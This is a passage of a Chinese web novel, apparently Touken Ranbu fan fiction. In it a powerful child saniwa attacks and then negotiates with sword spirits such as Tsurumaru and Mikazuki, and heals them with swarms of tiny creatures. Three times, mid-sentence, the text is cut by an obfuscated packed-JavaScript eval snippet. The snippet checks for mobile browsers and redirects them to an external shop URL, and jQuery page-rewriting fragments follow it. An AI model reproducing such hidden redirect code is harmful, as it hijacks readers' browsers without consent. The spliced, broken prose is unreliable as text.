电光火石之间,一道水柱冲天而起,分成四股,凝聚成手掌的模样。紧接着,第一只手掌抵住刀刃,第二只手手掌按住出现在左侧想要偷袭我的白山吉光,第三只手捏住想要偷偷藏于黑暗退去拿刀的石切丸,最后一只手握住同样想离开的歌仙兼定。 “哈。” 我将石切丸和歌仙兼定举到天上,笑得眯起眼睛:“哥哥们,你们要去哪里?不是想和朝歌一起玩吗?” 水做的手掌巨大,光是只是食指关节弯曲就卡住了石切丸的咽喉,越是窒息越是会仰起头渴望呼吸,大太刀面露痛苦,泛红的脖子上鼓起青筋,却又无法挣扎。 歌仙兼定的状态比他好一些,至少还能说话:“审神者……” 烛台切暗自用力,想将自己的刀抽出来,尝试了几次刀身依旧纹丝不动,只能暂时放弃,转而采用别的攻势:“你不是审神者,你是谁?” “嗯……我是谁呢?” 抓着他刀的手猛地一用力,连人带刀一起拎起来,看似轻轻一挥,可烛台切光忠却如同一颗流星坠落,砸进了墙面中,砸出了一个大洞。 灰尘四散纷飞,遮盖了视线,只听到一声短暂的闷哼传来,其他再无动静。 我低头看向白山吉光,温和道:“你说呢,白山,我是谁?” 白山吉光一愣,握着剑的力道松了松,下意识想要单膝跪下时,水做的手掌居然十分配合地松开,并没有半点阻拦的意思。 他立刻低下头,态度恭顺:“主人。” 我咧开嘴角,脸上露出笑容。 建筑倒塌的声音太大,夜晚已经不再寂静,我听到了许多刀剑在走廊上的脚步声,过不了多久他们就会来这边查看情况。 我倒是想看看,如果所有的付丧神全都死掉的话,这个本丸是不是也会就此消失。 液体凝成的手掌瞬间收紧,歌仙兼定和石切丸顿时发出一声闷哼,而石切丸早就处于呼吸困难的状态,这一下直接让他几乎失去意识,脸色都开始发青。 也就是在这个时候,抓着石切丸的手掌像是被什么打散,在一瞬间崩坏成水珠,齐齐融入石切丸体内,能量滋养着他受损的内脏。 他咳嗽了几声,眼睛无意识掀开一条缝,挣扎着想起来,却到底还是晕了过去。 我:“诶。” 攻击不起作用……看来又是时之政府的提前准备好的。 心真脏啊,他们知道我到本丸的第一件事一定是想尽办法离开,所以设定了攻击本丸结界会被束缚的条约,知道我会尝试将本丸连同付丧神全都摧毁,所以设定了我无法伤害我的付丧神的条约。 在正式连接本丸之前我还有发挥的余地的,可现在他们依靠我的力量保持人形,已经是我的付丧神了,我不能对自己人动手。 ……算了,不重要。 我果断松开歌仙兼定,卷走白山吉光,来到湖边。 这里被我挪到了离建筑区很远的地方,就算付丧神们发现异常,赶过来也要耗费不少时间。 湖面被冷风吹出层层叠叠的波浪,依旧只有清冷的月做伴,在波浪中泛起冷白的光。 周围的暗色与天守阁附近汇聚起来的火光形成了鲜明对比,更衬得湖边阴冷寂寥。 我抬头看向天空中那张无法轻易被发现的薄膜,湖泊中的液体在我的操纵下旋转,形成一道粗壮的水柱,声势浩大,就连暗色的云朵都被搅动,与升起来的水柱相接,撼天动地。 在水色龙卷汇聚到一定程度时,它的威力已经大到可以劈开天空。 但这远远还不够,我抬手稳住那道水柱,身上的衣服和头发被风吹得遮住视线,我没有在意,只是抬头盯着结界最脆弱的那一点。 “我劝你最好还是别碰本丸的结界。” 从身后传来了男性清朗的声音。 我动作一顿,循声看去。 那是一个浑身白色青年。 白色的发丝,白色的睫毛,白色的衣服,还有白皙的皮肤,唇色也偏白,只有那双金色的眼眸熠熠生辉,像是质地上好的琉璃。 “每个本丸所处的位置是在时间与空间的缝隙,有结界的保护,属于本丸区域的一切才能安然无恙,如果本丸碎掉,时间和空间都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233692|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得混乱,你现在这幅样子,能坚持到你找到回去的路的那一刻吗?” 浑身白色的青年朝我慢慢靠近,他嘴角微微上扬,笑道:“虽然人生中需要一些惊吓,但这种惊吓未免也有些太过了,不是吗?” 水柱依旧还在搅动风云,与隐隐散发金色光芒的薄膜碰撞在一起,风在耳边呼啸,将衣服吹得猎猎作响,绿草被卷得东倒西歪,不知道是不是鹤丸国永的错觉,他感觉本丸在晃动,甚至还听到了什么东西的哀鸣。 而始作俑者就站在那里,没有什么动作,也没有什么表情,看他都要仰视,却有着骇人的压迫感。 就算他把结界破碎的后果说得如此清楚,审神者也没有要停下来的意思。 没有人可以左右她的想法,她无比自我,并且对自己的实力有着绝对自信。 鹤丸国永稳住心神,镇定地劝阻道:“审神者大人,我们有着同样的目的,您完全不用把我们当做敌人,不如来谈谈合作的事情如何?总比硬闯划算。” 话音刚落,有一棵树被卷进了水柱中,很明显,他的说辞并没有打动审神者。 白山吉光单膝跪地跪得很丝滑,他态度依旧恭顺,说道:“主人,鹤丸殿下说的没错,本丸结界的破碎对您来说弊大于利。您的规则在时间乱流下不起作用,可能在结界消失的那一瞬间,您就会恢复成人类的样子,在身体没有完全愈合的情况下,即使是您也可能会被空间撕碎。” 周遭的风儿似乎吹得没有那么狂了。 鹤丸国永看了看白山吉光,又看了看表情稍微好看了一些的审神者,立马学着单膝跪下:“审神者大人,我们会成为您的助力,请您听听吧。” 至此。 直击天际的巨大水柱破碎成零星水珠,如同雨水降落,淅淅沥沥地落在草地上。 天幕上的云朵依旧还保持着被拧在一起的模样,一时半会儿难以消散,但本丸的震动和结界被撕开的声音终于停了下来。 那一层散发着淡金色光芒的薄膜重新隐匿于天幕之中,鹤丸国永虽然被水珠淋成了落汤鹤,可他确确实实在心里松了口气。 真是吓了一跳,差点结界就碎了。 不知道该说审神者心狠还是心软,他刚刚劝了那么久都没用,还不如白山吉光一句话。 难道真是因为白山是审神者亲自唤醒的,所以才有优待? 或者说,是因为他刚刚跪下了,表现出了恭顺,审神者才满意了? 仔细想想,那样庞大的力量撞击结界,它就算不碎,也早就该出现裂纹了,可是这么久了它都只是在震动,完全没有任何损伤…… 是不是审神者早就听进去了他的话,只是不满意他的态度,所以才没有收手呢? 鹤丸国永为自己这个猜测感觉到荒谬。 这么任性吗? 这么狂妄吗? 这么霸道吗? 他偷偷看了一眼那边愉悦笑起来的恐怖小孩,简直是一阵心悸。 怪不得审神者前两天对付丧神的漠视和不友好视若无睹,她根本就没有把这些事情放心上,早就存了要杀光所有人的心思。 如果不是他和白山吉光及时制止,本丸今天怕是真的要没了。 时之政府之前是说要投放一个顶尖战力来本丸,但是不可控成这样,就有点麻烦了吧? 鹤丸国永喉咙一阵发紧,最后也只能在心里暗自叹了一口气。 这位审神者才是他刀生中最大的惊吓啊。 8. 一个副本 我又见到了那个很漂亮的付丧神。 他恭恭敬敬地跪坐在我面前和我说话,美丽的面容在摇曳的烛光下隐隐约约,给他的美貌蒙上一层梦幻又朦胧的纱,好看的不得了。 我对他没有多苛刻,耐心地听着他把话说完。 三日月宗近说,时之政府有许多个本丸,每一个本丸都有审神者和付丧神,来对抗各个时空妄图改变历史的时间溯行军。 这个本丸的最早一批建立的,付丧神们在前任审神者强大的灵力浸染下拥有远超其他本丸的战力,所以也外派了更多更困难的任务。 一般来说,审神者并不需要跟着付丧神去危险的战场,可在这个本丸不一样,审神者反而是一道保护符,在危急时刻可以打开回本丸的门,将所有人都带回本丸,逃离危险。 上一任审神者实力强大,却没能在任务中回来,就连出阵的那一队付丧神都没法回来,依旧还在那个时空生死不明。 有付丧神想私自启动时空转换器尝试将营救,可没能成功,重伤返程。 最重要的是,即使本丸失去了审神者,任务依旧没有停止,每次都会有付丧神受伤。为了治疗,本丸资源亏空,刀剑们为了同伴频繁出阵,又因为出阵受伤归来,以此往复,形成了负循环。 时之政府一直在寻找一位实力强大的审神者继任,可付丧神们其实已经想放弃了。他们失去了审神者,失去了很多同伴,根本就不想再拖累其他人,再进行四五次任务可能这个本丸的刀就会全都碎掉了,这样就行,他们没有什么期待的。 原本他们是想和新任审神者好好沟通,结果没想到来的审神者居然是无法正常交流的稚童……不得已,他们只能用冷落的方式来劝退。 听他说这些的同时,我已经吃完了烛台切光忠给我煮的面。 我之前从来没吃过这种食物。 在副本时,我要是想吃点东西玩玩,就会在海边随便抓条鱼让岛上的村民帮忙做成烤鱼,或者也有厨艺很好的玩家会做给我吃。 烛台切光忠的手艺很好,一碗素面都能煮的很美味。 早知道我无法杀死本丸的付丧神,就不多此一举把烛台切砸晕了,这样还能趁夜色还长,让他再做点好吃的。 唉,等天一亮,又要过两天才能进食。 得想个办法快点恢复啊。 “审神者大人……”三日月宗近无奈地看着我:“听完这些这些之后,您是怎样想的呢?” 我失神地说:“还想再吃一碗面。” 三日月宗近:“……” 鹤丸国永也是一脸一言难尽,他问我:“厨房里还有光坊做的萩饼,您想吃吗?” 我眼睛亮起红灯:“拿来吧。” 他花了点时间,为我从厨房拿来了一盘圆乎乎的萩饼。 甜品在他手上看上去没多大,到我手里的时候却是我一个手掌的大小,我咬下一口嚼了嚼……嗯,有点甜,算了,凑活吧。 回到三日月宗近的话题,我问他:“你甘心就这样碎掉?” “……时之政府有千千万万的本丸,也有千千万万振三日月宗近,就算碎掉,只不过也是结束了属于一位付丧神被控制的一生而已。不会有人为我难过,也不会有人为我哭泣,既然如此,早点碎掉晚点碎掉,又有什么区别呢?” “是吗?我以为你跑来求我的白山为岩融和其他付丧神治疗,你们之间的关系应该很好呢,你要是死了,原来他们不会觉得难过?”我咽下嘴里的东西,继续说:“其他三日月宗近没你那么惨,你们之间还是有些不同的。” “就算这么说……” “对于你们付丧神来说,生活在不同的本丸就像是处于不同的平行时空,所有的经历都会让你们产生性格上细微的变化。就算底色不变,也不能定义你们是同一个人,你要是死掉了,如果还有下一次睁眼的机会,你也不再是你了。” 我说到这里顿了顿,下巴微抬:“不过,这些都和我没有关系,我没打算管你们的闲事。” 三日月宗近心中一动,视线停留在审神者的身上。 他没想到审神者会这样想,有许多任职的审神者对付丧神毫不客气,以前偶尔有听前任很生气地碎碎念过,说有人自不量力,让练度不高的付丧神去难度很大的空间出阵,觉得反正也不是稀有刀剑,就算碎了,也很容易就能得到新的。 ……已经碎了,就算再得到,当然也不是之前的那一振了。 同样的,付丧神消失了,就算再被唤醒,他也不会再是现在的他了。 三日月宗近没有说话,我又看向鹤丸国永:“你不是说有办法让我离开本丸吗?计划是什么?” 鹤丸国永立马道:“除了弄碎结界,出阵是唯一能够光明正大离开本丸的方法。” 我撑着下巴:“时之政府不会轻易放我离开。” “审神者大人可以在和我们一起去往任务点后再想办法离开,我们执行任务的地方是一段历史,不论时间还是空间都足够稳定,剩下的,我想审神者大人如此强大,您一定能轻而易举做到。” “出阵的时候结界就会打开了?” “我们通过庭院里的时间转换器来输入坐标,那个机器能将我们带入相应的时空。” “哦,也就是说,本丸的出入口其实是时空转换器。那其实只要有正当理由使用那个机器,‘门’就会被打开吧,出阵是理由之一……时之政府派人过来和我谈话是不是也算正当理由呢?” 那就相当于有人从外面打开了本丸的门对吧? 鹤丸国永略微迟疑:“……您想怎么做?” “如果本丸总是不得安宁,完全不像是半个月后能出阵的样子,他们就会过来了。” “来了之后呢?” “人类大补,吃了最好。” 鹤丸国永和三日月宗近对视一眼。 审神者还挺贪吃的,什么东西都下得去口。 “虽然没有资格评判您的做法,但是在自身有明显弱点的时候,耐心潜伏也许更能抓准时机反击。” 三日月宗近礼貌提醒:“您似乎只有在特定的时期才拥有凌驾一切的力量,就算是时之政府的人想和您谈谈,他们也只会选择您虚弱的时候前来。” ……倒是忘记这件事了。 我有点烦。 鹤丸国永先一步开口:“不管怎么说,审神者大人依旧能够掌控强大的力量,这是毋庸置疑的事实,相信您一定能会有更好的办法的。” 嗯,这话说的中听。 心里的烦躁还没酝酿成风暴就被帅气付丧神的恭维给平复了下去。 我看了看鹤丸国永,又看了看三日月宗近,觉得这俩付丧神真是有点意思。 不像我的笨蛋手下,我说什么都是“大王英明”,这两把刀又会给我提建议,说的话又好听,离开本丸之后我也绝对不会回去找主神了,谁找谁傻子。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233693|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两把刀好,想一起带走。 我想了想,打算给他们一点甜头,让他们知道跟着我做事很有前途,于是我问:“你们身上的伤要怎么恢复?” “正常情况下,我们需要用材料去手合室修复刀身,作为付丧神,只要刀被修好,我们也会痊愈。”三日月宗近说:“审神者大人继任时时之政府送来不少材料,我们可以慢慢复原的。” “太慢了,没有更快的方法吗?就像白山治疗岩融那样。” “也有的,只要审神者大人愿意,您强大的力量注入我们体内,我们可以瞬间恢复。” “嗯。”我应了一声,在抬手的同时,空气中密密麻麻亮起红光。 鹤丸国永讶异地打量着环绕在身边的小红点,侧头一看,发现就连窗外都是红光,放眼望去就像是被一片红雾笼罩,如果没猜错,现在整个本丸都被红点填满,不管哪里都是一片红云,吓人的要命。 也就是门外的局面有白山吉光和加州清光在稳住,不然肯定会有人慌慌张张地冲到房间里来禀报本丸被什么晦气的东西缠上了。 没有停留多久,红点开始附着在皮肤上,三日月宗近低头看了一眼,然后面不改色地闭上了眼睛。 鹤丸国永却无法做到那么平静,低头嘀咕了一句:“真是吓到我了。” ——那些小红点接触到了皮肤之后,褪去了一些光芒,原来那并不是什么单纯的能量团,而是一只只非常小的海蝉在到处乱爬。 这不是什么错觉,爬着真的很痒。 鹤丸国永也和三日月宗近一样闭上了眼睛。 好让人崩溃的治疗方式。 要是这个乱爬的东西长得好看一点也许还能接受……不,果然长成什么样都是接受不了的。 看着乖巧的海蝉在努力工作,我有些困顿地打了个哈欠,若有所觉地看向窗外,果然,夜晚已经快要过去了。 “应该能在天亮之前修复完。”我从椅子上站起来:“在我醒来之前不用叫我,也不用准备我的食物。” 他们两个有点欲言又止,不过最后还是点点头,什么都没说。 “啊对了,还是夸赞一下烛台切的厨艺吧,他煮的面很好吃。” …… “审神者大人是这么说的。” 鹤丸国永将审神者的夸赞一字不落地转述给了烛台切光忠。 身上还是脏兮兮的付丧神一脸迷茫,反应慢半拍才意识到鹤丸国永在说什么。 昨天的记忆依旧清晰,烛台切光忠还记得自己是被红色的审神者丢进了墙里。 那力道不仅仅是让墙壁破了个大洞,他一连滚出去很远,撞翻了好几扇门才停下,人也晕了过去。 他还以为自己肯定就要交代在审神者受伤了,结果现在一检查,他整个刀完好无损,连衣角都没有擦破,只是微脏罢了。 更令人匪夷所思的是,昨天暴打他的那个审神者,居然说他做的面好吃? 烛台切光忠觉得有些魔幻。 他问:“审神者呢?” “在睡觉呢。” “……大闹了一场之后,睡觉去了?” “我们聊了很久。” 烛台切光忠若有所思地摸了摸胸口,昨天晚上痛得快要炸开的地方现在什么痛感都没有。 他又问:“审神者对我做了什么?” 对答如流的鹤丸国永诡异地沉默了半晌,然后才说:“你还是不要知道比较好。” 9. 一个副本 昨天晚上本丸闹出的动静太大,几乎所有付丧神都赶到了天守阁查看情况,大家都醒着,也都或多或少接受了海蝉的洗礼。 他们这辈子真是不想回忆第二遍,密密麻麻的虫子往皮肤里头钻,就算闭上眼睛不看也能感觉到身上有东西在爬的痒意,和什么东西钻入皮下的感觉。 本丸里的小短刀吓哭了好几个,都说感觉自己受到了一场生理和心理上的折磨。 听到来自鹤丸国永的“治疗意见调查反馈”,我十分无辜地眨了眨眼睛。 [很吓人吗?我第一次给别人做治疗工作,没什么经验,这是我能想到最快的方法了。] [不好意思啊,你们可千万注意不要受伤了哦,我很不擅长治疗的。] 鹤丸国永:“……” 长着一张纯真善良的脸,眼睛也干净清澈,笑起来如同天空、如同大海一样包容,但是说出来的话却冰冷的要死。 他扯了扯嘴角,露出一个僵硬的笑:“哈哈、啊,是这样啊,我会提醒大家注意安全的。” 说完这句话之后,他这才意识到了一个问题,刚刚审神者并没有发出任何声音,他怎么会知道审神者想说什么的? 这样想着,鹤丸国永的视线慢慢往上移,在审神者的脑袋上方,最后一丝水汽消散的很慢,还残存着字迹。 诶,那些话居然是像游戏角色的对话框一样,被审神者用水流凝聚起来,出现在了她的头顶。 鹤丸国永惊奇地看着那些字,忍不住多问几句:“审神者大人,您掌握文字了?” [正常交流应该没什么问题了,多亏了粟田口的付丧神们呢。] 一行字再次从审神者头上冒出来。 鹤丸国永的视线在字迹上停留了一会儿,又问:“这样精细地使用灵力,您会不会很累?” 我很随意地回答:[你少和我说话,我就不会累了。] 看来他已经发现了,这两天我都是虚弱期,无法像昨天一样无限制地使用力量。 无所谓,既然要在本丸生活一段时间,他们早晚会发现的。 虽然审神者已经明确说了少和她说话,但是脑袋上出现对话框的场景他刀生真是第一次见,于是在安静了一会儿之后,又忍不住问:“审神者大人,看您控制灵力的熟练度,感觉十分老道,您真的只有七岁吗?” 我半眯着眼睛,希望他能通过我的表情自觉发现我并不想和他说话。 鹤丸国永见我不答,又说:“本丸里的小短刀看上去可可爱爱,实际上也是几百年前就存在的刀了,您不会和他们一样,表面只有七岁,但实际上已经有几千岁了吧?” 我:[……] 我的脑袋上冒出了一串省略号。 “啊,出现了,审神者大人,您这样就和NPC一样!”鹤丸国永饶有兴致地盯着那串省略号:“我只看过前任审神者玩游戏的时候屏幕里的角色这么说话,您能再变出一个感叹号吗?” 好聒噪的一位付丧神,他昨天出现在我身后的时候,我还以为他是那种自带神秘气质的高端刀,结果怎么是个头铁怪,他就不怕我揍他吗? 我从软垫上站起来,水做的小手掌拉开纸门后迅速消散,我也把手揣在袖子里面,面无表情地走出了近侍屋。 “诶。”鹤丸国永的目光一路追随毫不留恋离开的那个背影,在转头的同时起身,仅仅只是几个跨步,就追上了走得飞起的审神者,并不紧不慢地跟在她身后:“审神者大人,是突然想起有要做的事情了吗?您完全可以吩咐我去做,今天我是大家决定的近侍哦。” 我头也没回:[我要换一个近侍。] 鹤丸国永语气很受伤:“审神者大人,您都没有我问我近侍是什么,您就要换一个近侍吗?” [不管是什么,反正换一个。] “唉……好吧,那您今天想要谁来侍奉您呢?” 我停住脚步,鹤丸国永没想到我会这么突然就停下,连忙一个急刹车,还差点撞到我身上,手舞足蹈地原地平衡了好一会儿才稳住身体,眨了眨眼睛,很是无辜地看着我。 他估计是看出来了我真的觉得他很吵,鹤丸国永无奈地笑着叹了口气,金色的眸子目光定格几秒,而后又笑眯眯地问道:“明白了,不如,审神者大人和我去做一些快乐的事情吧?” 我眉梢一挑,上下打量他好几眼,嘴角往上一翘:[细说快乐。] …… “哈哈哈哈哈!怎么样审神者大人?是不是很快乐?吓到了吧?以前从来都没有体验过这些对吧?” 白色的付丧神领口松垮,露出白皙的皮肤和那美丽的锁骨,小片雪白的胸口若隐若现的,他笑的也漂亮的要命,从脸侧滑落几滴汗水,银白色的发丝黏了几缕在唇角。 他轻轻喘着气,眼尾微红,脸上也有着健康的血色,简直引人遐想。 如果我们现在所处的位置不在户外的话,我会很愿意欣赏这幅“美景”的。 我木着脸拍掉脑袋上的鸡毛,不是很明白自己究竟是为什么会这样毫无防备的跟着鹤丸国永来到了本丸的耕种区抓鸡。 抓·鸡。 我这辈子也没有很短暂,但我这辈子从来都没有抓过鸡。 鹤丸国永来到菜园就像是我回到了水里,放养的鸡在田地里踱着方步慢慢悠悠走着,他直接袖子一推,像一只洁白的鹤一样扑了上去,追着那只鸡到处乱蹿,鸡毛乱飞。 那只鸡也不愧是本丸从小养到大的鸡,跑起来我都不一定能追得上。那鸡翅膀一扇能飞半个鹤丸国永那么高,它甚至有一次逃跑的时候是越过我的脑袋飞过去的,还好我躲得快,不然我的脑袋上除了那该死的鸡毛,可能还会多一些该死的鸡屎。 我看着累的直喘气的鹤丸国永,脑袋上冒出六个省略号。 我:[……] 我:[这就是你说的快乐的事?] 鹤丸国永笑容灿烂:“对呀,一起抓鸡难道不快乐吗?” 我:[不好意思,没有体会到。] 真是冒昧了,我现在是少儿频道的体型,怎么会觉得他要对我做付费频道的事情。 “这样啊……”鹤丸国永看上去有些失落,低头看着手里那只已经认命的鸡,喃喃道:“说的也是,审神者大人之前肯定过着锦衣玉食的生活吧,这种事情你肯定不喜欢了。” 我:[我确实不喜欢抓鸡,但是我喜欢抓人。] 鹤丸国永:“怎么抓人?” [这个要很多个人一起玩呢,在庭院里,我蒙着眼睛来抓你们。] “那不就是鬼抓人吗?”鹤丸国永这么说着,想象了一下审神者玩鬼抓人的场景,总感觉怪怪的,表情有些担忧:“睁着眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233694|197635||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您都抓不到人,闭着眼睛能抓到吗?” 我:[……] 不好玩,一点意思都没有。 我鼓了鼓腮帮子,把手抄进袖子里,转身离开了耕种区。 “诶,审神者大人。” 鹤丸国永连忙把鸡一丢,追了上来。 路过马棚的时候,我看到了今天值马当番的加州清光和石切丸在喂马。 青年和少年皆是身形修长,加州清光穿着暗色的轻装,袖子挽在手肘处,个子比石切丸小一些,看上去很秀美。 听到身后的声响,加州清光和石切丸回头看来,在看到我时表情很明显一愣,紧接着,他们视线后移,又看到了鹤丸国永,顿时又了然了起来。 原来是鹤丸殿下今天在照顾审神者,所以审神者才没在房间里窝着。 加州清光和石切丸对视一眼,同时停下手上的工作,喊道:“鹤丸殿,审神者大人。” “是加州和石切丸呀。”鹤丸国永抬手打招呼:“在喂马?” “是的,今天马儿们格外的高兴呢。”加州清光面露笑容,还摸了摸棕红色马匹的鼻子:“看来他们很喜欢这批马草。” 石切丸:“因为灵力充足,植物都长得很好,多亏了有审神者。” 鹤丸国永点点头,从加州清光手里薅了一把草递到我面前:“审神者大人要不要试试喂马?小动物从自己嘴巴里叼走食物,这种感觉会很新奇哦!” 我迟疑地接过那把草,在鹤丸国永鼓励的眼神中将马草伸向嘴里还在拒绝的马。 那张嘴吃草的时候嘴唇动的很夸张,我从来都没见过。 它吃完了嘴里的东西后,自然而然地就开始啃我手里的马草,吃着吃着,它往前走了几步,头也低得更下。 这就是喂宠物? 我看着马儿乖巧地吃着,眼睛又圆又大,眼帘低垂时还能看到长长的睫毛,它像是知道谁才是给予它恩慧的主人,眼神十分温柔。 鹤丸国永看着这温馨的一幕,面露笑容,肯定地点点头。 然而点着点着,他忽而瞪大了眼睛,慌忙将还不到他腰高的审神者抱起来:“等、等等!这是审神者的手!不、这里也不能吃!那是审神者的头发!喂!” 加州清光和石切丸目瞪口呆地张大了嘴巴:“这……” 马匹袭击人事件发生了。 鹤丸国永好不容易从马嘴里拯救出我的头发,蓝紫色的发尾湿哒哒的,上面残留着马的口水。 我被他架着腋窝高高举起,像是举小娃娃一样。 相对无言半晌,我的脑袋上冒出一句:[第一次差点被马吃掉,确实感觉很新奇。] 鹤丸国永:“相信我,审神者大人,这次只是一个美丽的意外。” 我冷笑一声,提醒他:[鹤丸,你后天晚上最好睁着两只眼睛轮流站岗。] “诶、诶,为什么呢?审神者大人晚上会怕黑睡不着,跑来找鹤彻夜谈心吗?”他心虚地干笑。 我指向马:[它是主食。] 然后又指向鹤丸国永:[你是配菜。] 在鹤丸国永逐渐僵硬的笑容下,我咧开嘴角,露出两颗小虎牙:[味道一定不错。] 鹤丸国永:“……” 他不敢确定这件事情会不会发生…… 但是他希望这件事情别发生。 10.一个副本 我有点不理解,鹤丸国永在和我相处的时候前后态度怎么会有这样大的区别。 明明到昨天为止,大家都很有距离感,三日月宗近和鹤丸国永应该是本丸里最早一批下定决心不依靠审神者的刀剑,他们不擅长照顾审神者,也不擅长求助审神者。 倒是早上鹤丸国永和我聊了几句之后,态度愈发亲昵起来,不知道是因为我的外表太具有欺诈性,不自觉就会想要靠近……又或者这只是他们的策略,他们还是没有放弃利用我。 我抵住下巴,闭上眼睛思考。 利用我? 现在的我可没有什么利用的,加之刀剑们本身那心如死灰的状态,可能也没指望我可以做些什么。 所以还是因为我太可爱了,他忍不住就想和我亲近一些吧? 我忍不住暗自点头。 鹤丸国永收起帮我擦拭头发的湿毛巾,看着审神者重新变得干净的长发,暗自松了一口气。 审神者还是个小孩,不知道她有没有学会自己洗澡,要是不能很好的清理干净,本丸里又没有其他女孩子,他还真不敢让审神者一个人去大澡堂。 那里的水池有点深,而且很滑,如果审神者溺水或是滑倒,他们很难去救人。 不过听加州说,审神者在水里能待很长时间,不知道是水元素术式的使用者,还是身上有不怕水的法器,又或者她不是普通人类,溺水的可能性不大,那滑倒了的话…… 滑倒了的话怎么办呢? 鹤丸国永双手环胸,低头思考。 思考着思考着,他感觉自己的袖子被谁扯了扯,下意识一低头,差点没被抬头眼巴巴看着他的审神者给萌晕。 那双如同蓝宝石一样的眼睛亮晶晶的,有着深浅不一的层次,除了三日月宗近的眼睛,审神者的眼睛是他见过最好看的了。 她的鼻子和嘴巴也很漂亮,整张脸像是谁精心打磨出来的,完全挑不出瑕疵,很难相信人类的小孩居然可以长成这样。 鹤丸国永弯下腰来,表情和蔼,连声音都忍不住开始夹起来,问道:“怎么啦?审神者有什么想做的事情吗?” [?] 一个冒号出现在我的头顶上。 青年的表情和语气都很奇怪,我蹙起眉头,松开手后退了一步:[你干什么?] “嗯?我没事呀。”鹤丸国永依旧夹着他那个破嗓子:“说起来,现在确实到中午了呢,审神者饿了吗?要不要吃饭饭?” 吃、吃饭饭? 我仿佛被重击,又不自觉退了一步。 不对劲,他不对劲。 ……为什么?他突然干什么呢?故意的?故意恶心我的? [你别夹。] 鹤丸国永一愣,回想着刚刚的语气确实不太像他,可看到审神者瞪圆了眼睛往后退的模样,他忍不住起了逗弄的心思:“我没有,难道你不喜欢这样的我吗?” 我立刻满脸严肃地摇头。 “居然讨厌到这种地步。”鹤丸国永悲伤捧心:“明明一期一振这么说的时候短刀们超喜欢的。” [谁?] “是粟田口小短刀们的兄长,粟田口唯一一把太刀哦。” 根据刀剑化成人形的规律,短刀都是小孩,打刀都是少年,太刀都是青年,大太刀和踢到则更为高大。 比如说上次的岩融就是薙刀,他身形两米往上,对现在的我来说,简直就像是一座小山。 粟田口的太刀应该生活在粟田口的屋子,可我前几天都和小短刀待在一起,却没有看见青年模样的付丧神。 也许是被留在了某个时空也说不定。 但现在这不是重点。 我说:[不用你这样对我,我不是小孩。] 鹤丸国永:“你明明就是啊!” 我不满意他小看我的这种态度,于是双手抱臂,脸上做出十分凶狠的表情,并咧嘴露出小虎牙增加自己的可怕程度,并说: [我不是!] 鹤丸:“……” 鹤丸捂住自己的下半张脸,以免暴露自己过于失控的表情。 他忍到耳朵都憋红了,脖子都憋红了,甚至这种红色还一路顺着脸往上蔓延,最后实在忍不了了,大声说:“审神者!我想抱抱你!” 我:??? 没等我用对话泡拒绝,鹤丸国永已经自作主张起来。 白色的鹤衣袖微漾,包裹住了审神者。 他就算是跪下抱的,对我来说也很高,我被迫抬起下巴,抵着他的肩膀,整个人陷入到温暖又柔软的怀抱中。 我的体温偏低,从鹤丸国永身上传来的温度烫的像是要把我灼伤。 他和真正的人类一样滚烫。 这种陌生的感觉让我怔怔地愣在原地,一时间连挣扎都忘记了,只能任由他的手环住我,手掌按在我的背部。 他按着的位置刚好是胸腔,那种热度透过薄薄的衣物和微凉的皮肤一路直达心脏…… 如果我的心脏还在,我的心应该也能感受到这种温暖吧。 鹤丸国永是主动拥抱的那一方,抱了一会儿却有些被吓到,按住我的肩膀,惊疑不定地看着我,问道:“审神者,你没有心跳?” 我面色平淡地回应他的视线。 “体温也比正常人要低,是因为心脏没有在跳动的原因吗?为什么?”鹤丸国永一连问了好几个问题:“为什么你没有心跳呢?为什么你还能动呢?为什么你会如此残缺地出现在本丸呢?” 如果说我不是人类,他会害怕我吗?又或者会觉得我可以利用呢? 他也不是人,应该不会怕我吧,那就是后者了。 那如果我告诉他,这些都是时之政府的束缚,他们将我变得残缺,剥夺我大部分的力量,将我栓狗一样拴在这里,只能为了主人完成任务,他又会怎样想呢? 会怜悯我吗?还是会觉得我好拿捏,也想趁机压榨我呢? 我细细地观察着他脸上的表情,想要通过这种方式来判断他内心的想法。 不过我失败了,我看不出他在想什么,只能从他蹙起的眉头,和压下的眉眼看出来,他看不赞同我被这样对待,也许他已经将我不幸的遭遇全都归结在了我那不存在的“宗族”上。 鹤丸国永收起了那幅对什么事都漫不经心的态度,他看了我许久,最后抿了抿嘴角,对我说:“审神者大人,今天烛台切中午煮了面,我带您去吃一些吧。” 我摇摇头。 他面露疑惑,突然想到了什么,手轻轻按住了我的腹部。 